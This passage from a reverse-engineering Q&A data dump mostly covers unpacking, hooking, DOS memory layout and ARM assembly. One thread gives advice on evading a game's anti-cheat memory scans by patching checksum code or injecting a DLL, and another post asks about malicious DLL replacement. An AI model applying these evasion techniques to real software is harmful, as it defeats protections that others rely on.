exported;&lt;/li&gt;&#xA;&lt;li&gt;the second one is the &lt;code&gt;login.keychain&lt;/code&gt; password, which normally would be the same as the login password of the user on the original OS X 10.9 from where the keychain file came from.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;scp /tmp/mycerts.p12&lt;/code&gt; back to OS X 10.9 from 10.5&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;" OwnerUserId="1839" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-08-09T05:01:20.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6045" PostTypeId="2" ParentId="4618" CreationDate="2014-08-09T11:23:55.690" Score="3" Body="&lt;p&gt;I ran the installer through an online EXE inspector which told me the &lt;code&gt;102&lt;/code&gt; resource contained &lt;em&gt;LZMA compressed data&lt;/em&gt;. &lt;sup&gt;Stupidly, I closed that window to look up what 'LZMA' is. I forgot to note the URL of this specific tool, and now I cannot find it anymore! Such a shame because this hint was &lt;em&gt;crucial&lt;/em&gt;.&lt;/sup&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then ran it through &lt;a href=&quot;http://pedump.me&quot; rel=&quot;nofollow&quot;&gt;PEdump.me&lt;/a&gt;, which allows one to download it separately. To unpack the LZMA compression, I used Stuffit Expander (for OS X), but you can probably use 7-Zip as well -- you may need to add the file extension &lt;code&gt;.lzma&lt;/code&gt; to make it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gave me a &lt;em&gt;TAR-like&lt;/em&gt; file, containing a few more executables. My local &lt;code&gt;tar&lt;/code&gt; was unable to unpack it any further (possibly it's some variant of the standard &lt;code&gt;tar&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The TAR file format is a wrapper to concatenate multiple files into one; its headers contain the original file name and its size, amongst other data. TAR does &lt;em&gt;not&lt;/em&gt; apply compression to the resulting file, so you only need a good hex editor to manually split it into the separate programs.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;.. my very questionable use of 7-zip for this purpose which also fails for a large number of executables ..&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Being able to show the &lt;a href=&quot;http://msdn.microsoft.com/en-us/magazine/cc301805.aspx&quot; rel=&quot;nofollow&quot;&gt;PE Sections&lt;/a&gt; of a Windows executable is a rather uncommon function for a general compressing/uncompressing program... That said: I have found no fault in 7-zip's handling of PE executables. It splits them up into their sections and does nothing more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use a tool such as PE Studio to &lt;em&gt;inspect&lt;/em&gt; the resources (are you sure it cannot extract them? It seems such a basic function); but after extracting them, you are on your own. There is no &quot;standard&quot; way of compressing or otherwise obfuscating resources; some programs may even contain custom code to extract their own data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recognizing the format of a resource is then reduced to the more general &quot;recognize the file format&quot;, which is an extremely broad topic on its own.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2014-08-09T11:23:55.690" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6046" PostTypeId="1" CreationDate="2014-08-09T18:34:33.863" Score="1" ViewCount="2907" Body="&lt;h1&gt;The Problem&lt;/h1&gt;&#xA;&lt;p&gt;I'm attaching a game's process to view/edit my ammo. I've reversed a few games and understand x86 assembly; however, I'm new to the whole &lt;i&gt;anti-debuggers&lt;/i&gt; and &lt;i&gt;memory scanning&lt;/i&gt; bit. I have searched for resources on how to combat this issue, but still have found nothing. Whenever I attach to the game it still works, but as soon as I change a single instruction it's as if the application &amp;quot;scans&amp;quot; it and detects my change, thus causing a crash. Also, sometimes if I happen to &amp;quot;bypass&amp;quot; the detection, the anti-cheat always finds a way to kick me out.&lt;/p&gt;&#xA;&lt;p&gt;I've read about a few functions that some programs may use, but none of them have really seemed to help.&lt;/p&gt;&#xA;&lt;h1&gt;Questions&lt;/h1&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What do these games/applications use to detect this?&lt;/li&gt;&#xA;&lt;li&gt;Is there a way to avoid this detection?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8269" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2014-08-10T20:34:13.870" Title="Anti-cheat Memory Scan" Tags="|x86|anti-debugging|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6047" PostTypeId="2" ParentId="6046" CreationDate="2014-08-10T11:03:05.530" Score="2" Body="&lt;p&gt;Regarding the questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Applications are reading code memory and computing checksums. If checksum not matches predefined value - applications act accordingly.&lt;/li&gt;&#xA;&lt;li&gt;There is no general and easy explainable way to avoid such kind of detection. The most common point of such action is patching the code that checks the checksum.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In your case I'd try to protect the changed memory from reading (by calling &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/aa366898(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;VirtualProtect&lt;/a&gt; from injected dll for example) or create breakpoint on reading memory on changed area and check the area of code where changed memory reading will occur - this will be the place where the changed code is read. &#xA;You'll need either recalculate the checksum with your new changed code or nopify the code that is responsible for incorrect checksum reaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that the checksuming code you'll need to change may be also protected in the same manner.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-08-10T11:03:05.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6048" PostTypeId="1" AcceptedAnswerId="6054" CreationDate="2014-08-10T12:16:12.517" Score="5" ViewCount="1365" Body="&lt;p&gt;I'm using IDA to disassemble &lt;a href=&quot;http://www.myabandonware.com/game/test-drive-iii-the-passion-119&quot; rel=&quot;nofollow&quot;&gt;Test Drive III&lt;/a&gt;. It's a 1990 DOS game. The *.EXE has MZ format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The game uses a number of anti-reversing features such as copying its code to segment &lt;code&gt;(PSPseg+2be7)&lt;/code&gt; where &lt;code&gt;PSPseg&lt;/code&gt; is the initial value of &lt;code&gt;ES&lt;/code&gt; (i.e. the segment where PSP resides). As far as I know, &lt;a href=&quot;http://en.wikipedia.org/wiki/COM_file&quot; rel=&quot;nofollow&quot;&gt;COM executables&lt;/a&gt; are always loaded right after the end of &lt;a href=&quot;http://en.wikipedia.org/wiki/Program_Segment_Prefix&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Program Segment Prefix (PSP)&lt;/code&gt;&lt;/a&gt;, so that both PSP and exe fit into one segment. What about MZ executables? Is there any fixed place where application's PSP is located relatively to the application itself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, is the &lt;code&gt;base-PSPseg&lt;/code&gt; offset always the same? On my &lt;a href=&quot;http://www.dosbox.com/&quot; rel=&quot;nofollow&quot;&gt;DOSBox&lt;/a&gt; at the start of the program execution &lt;code&gt;CS&lt;/code&gt; is always &lt;code&gt;0x22CF&lt;/code&gt;, &lt;code&gt;ES=DS=0x01FE&lt;/code&gt;, &lt;code&gt;CS0&lt;/code&gt; in the MZ header is &lt;code&gt;0x20C1&lt;/code&gt;, yielding &lt;code&gt;base-PSPseg&lt;/code&gt; offset &lt;code&gt;0x0010&lt;/code&gt; (16 segments, 256 bytes - exactly the size of PSP).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this offset is not fixed and both PSP and the application are just loaded randomly in whatever memory location is big enough, then is there at least any guarantees about their addresses? Like that PSP address is always lower than the app's base address?&lt;/p&gt;&#xA;" OwnerUserId="3218" LastEditorUserId="3218" LastEditDate="2014-08-12T14:58:33.183" LastActivityDate="2016-01-20T02:40:13.937" Title="Any correlation between DOS Program Segment Prefix and the base address of loaded executable?" Tags="|disassembly|x86|dos|dos-exe|segmentation|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6049" PostTypeId="2" ParentId="6048" CreationDate="2014-08-10T19:49:46.550" Score="4" Body="&lt;p&gt;MZ-format executables also have the PSP &lt;strike&gt;at CS-0x10&lt;/strike&gt; just before the data loaded from the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quoting &lt;a href=&quot;http://www.techhelpmanual.com/829-program_startup___exit.html&quot; rel=&quot;nofollow&quot;&gt;Tech Help!&lt;/a&gt;, probaly the best DOS programming reference:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;EXE-format programs define multiple program segments, including a&#xA;  code, data, and stack segment. The EXE file is loaded starting at&#xA;  PSP:0100.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2014-08-11T07:48:50.283" LastActivityDate="2014-08-11T07:48:50.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6050" PostTypeId="2" ParentId="6046" CreationDate="2014-08-10T20:34:13.870" Score="1" Body="&lt;p&gt;First, there's no perfect solution. An application running on a computer is subject to all kinds of manipulation. All you can do is take a few reasonable steps to prevent most cheating and manipulation of the client by people who aren't willing to spend enough resources to figure out how to circumvent your anti-cheating measures. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few steps you can take include:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Obfuscate the binary by randomizing the linker. This way, any in-memory hacks change every time you push a new version. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Embed a secret key in the client. Check for the correct key every time you connect to a client. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Obfuscate memory.  Have a set of randomized XOR pads for each memory structure, making it harder for an in-memory hacker to determine how to manipulate memory. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Checksum. For each structure, store a checksum of all values which is periodically verified. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Constraint validation. For any constrained values, double check them every time they are used for sane values, preferably on the server.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Log and ban.  Log any suspicious behavior and immediately ban the user.  Ultimately this is your best deterrent to cheating. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8275" LastActivityDate="2014-08-10T20:34:13.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6051" PostTypeId="2" ParentId="5948" CreationDate="2014-08-10T20:42:18.080" Score="2" Body="&lt;p&gt;An alternative approach would be to use the browser tools or a browser extension, such as Google Developer Tools for Chrome or Web Console for Firefox.  These tools will show you the entire request, response, and body of all network traffic and timeline of when connections are made. In Chrome, you can even edit the page content and review how it affects the page.  These are very powerful tools for reverse engineering the DOM and request structure. &lt;/p&gt;&#xA;" OwnerUserId="8275" LastActivityDate="2014-08-10T20:42:18.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6052" PostTypeId="1" CreationDate="2014-08-11T02:13:25.523" Score="11" ViewCount="1094" Body="&lt;p&gt;I have been reading a lot about the different techniques for Windows API hooking  (a technique I'm particularly fascinated by and fond of), and it seems a major problem in implementing a &lt;em&gt;realiable&lt;/em&gt; hook function is ensuring that the hook is written in a way that is thread-safe. Of course, there are some techniques where this problem has been solved or can be solved trivially, such as &lt;a href=&quot;https://devblogs.microsoft.com/oldnewthing/20110921-00/?p=9583&quot; rel=&quot;nofollow noreferrer&quot;&gt;hotpatching the Windows API&lt;/a&gt;, but hot patching is not guaranteed to work on all win32 or third party API functions and the techniques that do support hooking them are not normally thread-safe.&lt;/p&gt;&#xA;&lt;p&gt;A very common technique that is has problems caused by multithreading is a inline hook that replaces the normal function prologue code with a &lt;a href=&quot;http://jbremer.org/x86-api-hooking-demystified/&quot; rel=&quot;nofollow noreferrer&quot;&gt;jump instruction to the hook procedure&lt;/a&gt;, and then calls the original function as needed through a trampoline.&lt;/p&gt;&#xA;&lt;p&gt;There are several inherent issues to the inline hook technique, which makes it a very complicated method to use and debug. A primary issue is as I mentioned, that it is not safe in a orthodox multithreaded environment in the real world. This is due to that when changing the bytes of the function, you can not guarantee that the instruction pointer will not be in the middle of your newly injected code, which may then cause the target application to crash from executing an invalid mix of the old opcodes mixed with the opcodes you inserted.&lt;/p&gt;&#xA;&lt;p&gt;There are some solutions to this problem, with one being suspending all the threads in the process and then checking the instruction pointer in each thread to ensure that no thread is currently executing the target instructions you wish to replace. Then if there happens to be a thread or two executing that particular function, then you can respond accordingly by doing something such as performing a stack trace to place a breakpoint at the return address, resuming the thread, and then handling the exception when the thread has returned from the target function.&lt;/p&gt;&#xA;&lt;p&gt;Of course, this method is still unsafe, because there is nothing stopping one sneaky thread from using &lt;code&gt;CreateThread()&lt;/code&gt; before you can suspend all of the running threads in the process (some applications on my computer run with 40+ threads at once). There could even be a related process that uses &lt;code&gt;CreateRemoteThread()&lt;/code&gt; in your target application and then calls the function you are hooking before it's safe.&lt;/p&gt;&#xA;&lt;p&gt;A solution to that problem could be trying to debug the process and receive notifications of when a process creates a new thread, and then respond by suspending that thread. Of course, many event notification systems provided by the Windows    API or a third party API will not be sent in real time, which may allow that thread to perform an unsafe operation before it is suspended.&lt;/p&gt;&#xA;&lt;p&gt;Another solution could be to statically patch the executable with the hook function before the process is launched, presumably by hooking the EAT/IAT. This is not an option for me because I need to have an implementation that will work &lt;em&gt;process wide&lt;/em&gt;, regardless of how a function is resolved or in the event of a new unhooked module calling the function.&lt;/p&gt;&#xA;&lt;p&gt;There are many other issues to overcome with the inline hook technique that I did not mention.  Which brings me back again to my question:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;What methodology can be used to change code flow atomically during program execution ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I was curious to see if there was a more robust solution out there that overcomes some of the shortcomings of the methods I covered in this post.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Please no third party library suggestions for hooking functions. I want to implement my own for the educational benefits.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I prefer hooking technique documentation and examples that use the C programming language.&lt;/p&gt;&#xA;&lt;p&gt;My processor is an AMD Athlon II X2 250 that is x86-x64 compatible, and my operating system is Windows 7.&lt;/p&gt;&#xA;" OwnerUserId="8215" LastEditorUserId="13506" LastEditDate="2022-07-04T19:17:38.437" LastActivityDate="2022-07-04T19:17:38.437" Title="What methodology can be used to change code flow atomically during program execution?" Tags="|windows|x86|c|function-hooking|x86-64|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="6054" PostTypeId="2" ParentId="6048" CreationDate="2014-08-11T07:18:15.570" Score="6" Body="&lt;p&gt;DOS didn't have a concept of more than one application being able to run at the same time, with each of those applications able to allocate memory. Programs that stayed resident after termination weren't able to allocate more memory while another program was running. So, there was no fragmentation in memory, and no &quot;memory location that was big enough&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The memory from 0x00000 was occupied by the interrupt vector table and various bios variables, DOS loaded behind them. The end of the memory block that was used by DOS depended on lots of factors, but whenever a program got loaded, the PSP was created at the lowest possible location, and the program loaded directly behind that. So, yes, you can rely on your program using the memory behind the PSP, and you can rely on the difference between your segment registers and the PSP being constant as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The PSP segment itself was unpredictable to programmers - stuff like the ansi.sys console driver, foreign keyboard drivers, the Cdrom drivers, and various stay-resident programs (anyone remember sidekick?) could increase the size of the &quot;dos block&quot; causing the PSP address of loaded programs to increase (and available memory to decrease). But as long as you don't change the configuration of your DOSBOX, you should be able to rely on the PSP - and your segment registers - being the same for each run of the program.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-08-11T07:18:15.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6056" PostTypeId="2" ParentId="3489" CreationDate="2014-08-11T11:34:42.007" Score="1" Body="&lt;p&gt;You should try &lt;a href=&quot;https://bitbucket.org/NtQuery/scyllahide/downloads&quot; rel=&quot;nofollow&quot;&gt;ScyllaHide&lt;/a&gt;. This is an open-source, actively developed anti-anti debug plugin. There are many hiding options in it.&lt;/p&gt;&#xA;" OwnerUserId="8278" LastActivityDate="2014-08-11T11:34:42.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6058" PostTypeId="2" ParentId="5995" CreationDate="2014-08-12T00:51:23.630" Score="2" Body="&lt;p&gt;I think you have two questions here.  The first part is how to convert from decimal to hexadecimal and back; the second part is how a multi-byte value is represented in memory.  Guntram Blohm's answer covers the first part in detail, and I'll try to muddle through an answer to the second here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, consider a multi-byte hexadecimal number...ABCD, where each letter represents a byte.  So for example in 0x03B87C43 A represents 0x03, B represents 0xB8, C represents 7C and D represent 0x43.  Finally, D is referred to as the low-order byte.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the various bytes can be arranged in different ways in memory; and there are two major forms that are currently in use today:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;little-endian&lt;/strong&gt; form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The low-order byte is placed at the lowest memory address, thus our example number would be&#xA;stored in memory thusly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 1000  1001  1002  1003   &amp;lt;----- memory addresses, notional     &#xA;+-----+-----+-----+-----+&#xA;|  D  |  C  |  B  |  A  |&#xA;+-----+-----+-----+-----+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Intel processors use this form of storing multi-byte numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;big-endian&lt;/strong&gt; form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The low-order byte is placed at the highest memory address, thus our example number would be &#xA;stored in memory thusly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 1000  1001  1002  1003   &amp;lt;----- memory addresses, notional     &#xA;+-----+-----+-----+-----+&#xA;|  A  |  B  |  C  |  D  |&#xA;+-----+-----+-----+-----+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Non-Intel SUN workstations use this form (IIRC they use a Motorola processor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;other forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;just about any other arrangement can be used.  For example, PDP-11 used a system where &#xA;a 32-bit value was stored in little-endian format, with the exception of each byte of the 16-bit half was swapped.  Thus our sample number would be stored in memory as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 1000  1001  1002  1003   &amp;lt;----- memory addresses, notional     &#xA;+-----+-----+-----+-----+&#xA;|  C  |  D  |  A  |  B  |&#xA;+-----+-----+-----+-----+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps a bit.&lt;/p&gt;&#xA;" OwnerUserId="8177" LastActivityDate="2014-08-12T00:51:23.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6060" PostTypeId="1" CreationDate="2014-08-12T04:27:55.703" Score="1" ViewCount="317" Body="&lt;p&gt;I know a techinique is called: &lt;a href=&quot;http://www.codereversing.com/blog/?p=65&quot; rel=&quot;nofollow&quot;&gt;Process Replacement&lt;/a&gt; , I have searched but could not find any article about &quot;DLL Replacement&quot;, in which malicious programs can replace a legal DLL (eg. a third party DLL) with a malicious DLL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does this work and are there any other techniques to do it?&lt;/p&gt;&#xA;" OwnerUserId="8281" LastEditorUserId="1413" LastEditDate="2014-08-12T06:08:01.213" LastActivityDate="2014-08-12T06:08:01.213" Title="Is there any technique called &quot;DLL Replacement&quot;?" Tags="|malware|dll|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="6061" PostTypeId="1" AcceptedAnswerId="6062" CreationDate="2014-08-12T16:38:24.023" Score="3" ViewCount="8113" Body="&lt;p&gt;I am quite new to ARM assembly, I already saw that the bang (&lt;code&gt;!&lt;/code&gt;) is used to really update a register after a computation in the addressing mode syntax, but I can't figure out what is the difference of semantics between (this output is from &lt;code&gt;objdump&lt;/code&gt; so it uses &lt;code&gt;gas&lt;/code&gt; syntax):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ldm r4!, {r0, r1, r2, r3}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ldm r4, {r0, r1, r2, r3}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2014-08-12T17:03:30.583" Title="What is the meaning of '!' in ldm arm assembler instruction?" Tags="|assembly|arm|gas|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6062" PostTypeId="2" ParentId="6061" CreationDate="2014-08-12T17:03:30.583" Score="8" Body="&lt;p&gt;The &lt;code&gt;!&lt;/code&gt; denotes &lt;em&gt;writeback of the base register&lt;/em&gt;. &lt;strong&gt;Base register&lt;/strong&gt; is the register used to address the memory to be read or written - in your case it's &lt;code&gt;R4&lt;/code&gt;. &lt;strong&gt;Writeback&lt;/strong&gt; means that the base register will be updated with the delta equal to the size of transferred data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the instruction &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ldm r4!, {r0, r1, r2, r3}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;can be represented by the following pseudocode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r0 = *(int)(r4) &#xA;r1 = *(int)(r4+4) &#xA;r2 = *(int)(r4+8) &#xA;r3 = *(int)(r4+12) &#xA;r4 = r4 + 16 // writeback (16 bytes transferred)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the variant without &lt;code&gt;!&lt;/code&gt; the writeback doesn't happen so &lt;code&gt;R4&lt;/code&gt; retains the original value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;LDR&lt;/code&gt; and &lt;code&gt;STR&lt;/code&gt; instructions you may also encounter &lt;em&gt;pre-indexed&lt;/em&gt; and &lt;em&gt;post-indexed&lt;/em&gt; notation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LDR R0, [R4, #4]  ; simple offset: R0 = *(int*)(R4+4); R4 unchanged&#xA;LDR R0, [R4, #4]! ; pre-indexed:   R0 = *(int*)(R4+4); R4 = R4+4&#xA;LDR R0, [R4], #4  ; post-indexed:  R0 = *(int*)(R4+0); R4 = R4+4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more information see the &lt;a href=&quot;http://www.keil.com/support/man/docs/armasm/&quot;&gt;ARM Assembler Guide&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-08-12T17:03:30.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6064" PostTypeId="1" CreationDate="2014-08-12T21:57:36.640" Score="7" ViewCount="7348" Body="&lt;p&gt;I'm new to debugging with IDA Pro and I ran into the problem that my breakpoint is not hit while attempting to debug with gdbserver. The program is written by myself and it is simple to debug with gdb. Can someone please help me regarding debugging with IDA? Here are the steps I perform for debugging: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Start gdbserver version 7.7 configured as &quot;x86_64-linux-gnu&quot; in a terminal on my localhost like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdbserver --multi localhost:1234&#xA;Listening on port 1234&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open a new database in IDA Pro version 6.6, set a breakpoint in the code, chose the &quot;Remote GDB&#xA;Debugger&quot; and start a new process. The IDA output window shows the following&#xA;message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FFFFFFFFFFFFFFFF: process /home/benny/3-challenge has started (pid=0)&#xA;FFFFD8F8: got SIGTRAP signal (Trace/breakpoint trap) (exc.code 5, tid 27171)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A &lt;strong&gt;Warning&lt;/strong&gt; pops up in IDA giving me the following message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FFFFD8F8: got SIGTRAP signal (Trace/breakpoint trap) (exc.code 5, tid 27171)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The terminal where the gdbserver is running shows the following&#xA;message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Remote debugging from host 127.0.0.1&#xA;Process /home/benny/3-challenge created; pid = 27171&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I guess the SIGTRAP may already be a problem, however, I don't understand why I get it. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway going further by ignoring the warning:&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;The IDA Debug View shows the RIP at memory position &lt;code&gt;FFFFD8F8&lt;/code&gt; which is in an unexplored region of the binary: &lt;code&gt;MEMORY:FFFFD8F8 db ?;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press F9 in IDA pops-up an &quot;Exception Handling&quot; dialog, which looks like this &lt;img src=&quot;https://i.stack.imgur.com/bF849.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click &quot;Yes (pass to app)&quot;, which terminates the execution of the debugging session and the IDA output window prints &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Debugger: process has exited (exit code 5)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;While the output on the terminal running gdbserver prints&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Child terminated with signal = 0x5 (SIGTRAP)&#xA;readchar: Got EOF&#xA;Remote side has terminated connection.  GDBserver will reopen the connection.&#xA;Listening on port 1234&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please let me know if you need more info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I got fed up with GDB server and am now using Intel PIN for debugging, which works like a charm with IDA Pro.&lt;/p&gt;&#xA;" OwnerUserId="3696" LastEditorUserId="3696" LastEditDate="2015-10-11T10:31:24.767" LastActivityDate="2015-10-11T10:31:24.767" Title="Problem while debugging with gdbserver in IDA Pro" Tags="|ida|debugging|gdb|x86-64|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6065" PostTypeId="1" AcceptedAnswerId="6066" CreationDate="2014-08-13T13:30:34.913" Score="0" ViewCount="2669" Body="&lt;p&gt;Still looking at ARM assembler semantics (and, I try hard to read the specification, I ensure you!!!). I have some doubts about the ARM bit-shift instructions in general and &lt;code&gt;RRX&lt;/code&gt; in particular.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets start with &lt;code&gt;RRX&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://www.davespace.co.uk/arm/introduction-to-arm/barrel-shifter.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Davespace, Introduction to ARM, section &lt;em&gt;Barrel Shifter&lt;/em&gt;&lt;/a&gt;, we see that &lt;code&gt;RRX&lt;/code&gt; correspond to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fcyhv.png&quot; alt=&quot;RRX: Barrel RollRotate Right Extended&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose the &lt;code&gt;C&lt;/code&gt; to be the carry flag found in the CPSR, is it correct ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second question, in the case of the following instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ands   r9, r0, r0, ror #3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I read that the carry flag (&lt;code&gt;C&lt;/code&gt;) is set to the value of the last bit shifted out by the shifter operand (here &lt;code&gt;ROR&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that the &lt;code&gt;ands&lt;/code&gt; is also supposed to update the CPSR because of its flag &lt;code&gt;s&lt;/code&gt;. So, who is winning at the end ? And, what is left in the final carry flag ? The value resulting of &lt;code&gt;AND&lt;/code&gt; or the value resulting of &lt;code&gt;ROR&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2014-08-13T14:34:41.483" Title="Semantics of the RRX shift 